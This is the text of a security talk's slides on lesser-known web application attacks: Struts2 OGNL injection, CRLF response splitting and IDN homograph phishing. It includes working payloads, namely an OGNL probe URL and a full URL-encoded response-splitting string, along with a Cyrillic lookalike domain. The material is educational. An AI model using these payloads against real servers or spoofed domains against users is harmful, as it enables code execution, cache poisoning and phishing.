  • 16. LesserKnownWebAppAttacks RCE never dies!!! • "action:", "redirect:" or "redirectAction:" is not properly sanitized. • information will be evaluated as OGNL (Object-Graph Navigation Language) expression against the value stack, this introduces the possibility to inject server side code. Apache struts2 RCE http://host/struts2- blank/example/X.action?action:${3*4}
  • 18. LesserKnownWebAppAttacks Divide and Conquer cR-LFAttack • CR stands for Carriage Return (CR,ASCII 13, r) • LF stands for Line feed (LF, ASCII 10, n) How this Attack work? The server script embeds user data in HTTP response headers. Example: Step1: There is redirection page “redir_lang.jsp” When we hit index page server responds with following response <% response.sendRedirect("/by_lang.jsp?lang="+ request.getParameter("lang")); %>
  • 20. LesserKnownWebAppAttacks Lets Attack ;) Step 3: Instead of passing value as English. Lets pass our attack vector as shown. /redir_lang.jsp?lang=foobar%0d%0aContentLength :%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aCont entType:%20text/html%0d%0aContentLength:%2019% 0d%0a%0d%0a<html>Shazam</html> Note: We have URLencoded the CRLF sequences Lets see what server responds with 
  • 21. LesserKnownWebAppAttacks A first HTTP response, which is a 302 (redirection) response. A second HTTP response, which is a 200 response, with a content comprising of 19 bytes of HTML. Superfluous data
  • 22. So when the attacker feeds the target with two requests, the first being to the URL /redir_lang.jsp?lang=foobar%0d%0aContentLength:%200%0d%0a%0d% 0aHTTP/1.1%20200%20OK%0d%0aContentType:%20text/html%0d%0aCont entLength:%2019%0d%0a%0d%0a<html>Shazam</html> And the second to the URL > /index.html The target would believe that the first request is matched to the first response: And the second request (to /index.html) is matched to the second response: LesserKnownWebAppAttacks
  • 23. What Attacker can do by CRLF attack?  Cross site scripting >> http://blog.innerht.ml/twitter-crlf-injection  Web Cache Poisoning (defacement)  Cross User attacks (single user, single page, temporary defacement)  Hijacking pages with user-specific information  Browser cache poisoning LesserKnownWebAppAttacks
  • 24. LesserKnownWebAppAttacks Homograph Attack Can you tell the difference? 1) https://ebаy.com/ 2) https://ebay.com/
  • 26. LesserKnownWebAppAttacks What is this all about? http://ebаy.com/ Decoding to punycode http://xn--eby-7cd.com/ Cyrillic alphabets
  • 27. LesserKnownWebAppAttacks What Attacker can do by Homograph attack?  Phishing  Un-validated Redirection  Fake websites  Attacker may combine this with SSLattacks http://www.blackhat.com/presentations/bh-dc- 09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf
  • 29. Thank You Reach me @ LinkedIn: Ninad Sarang Twitter: @hbkninad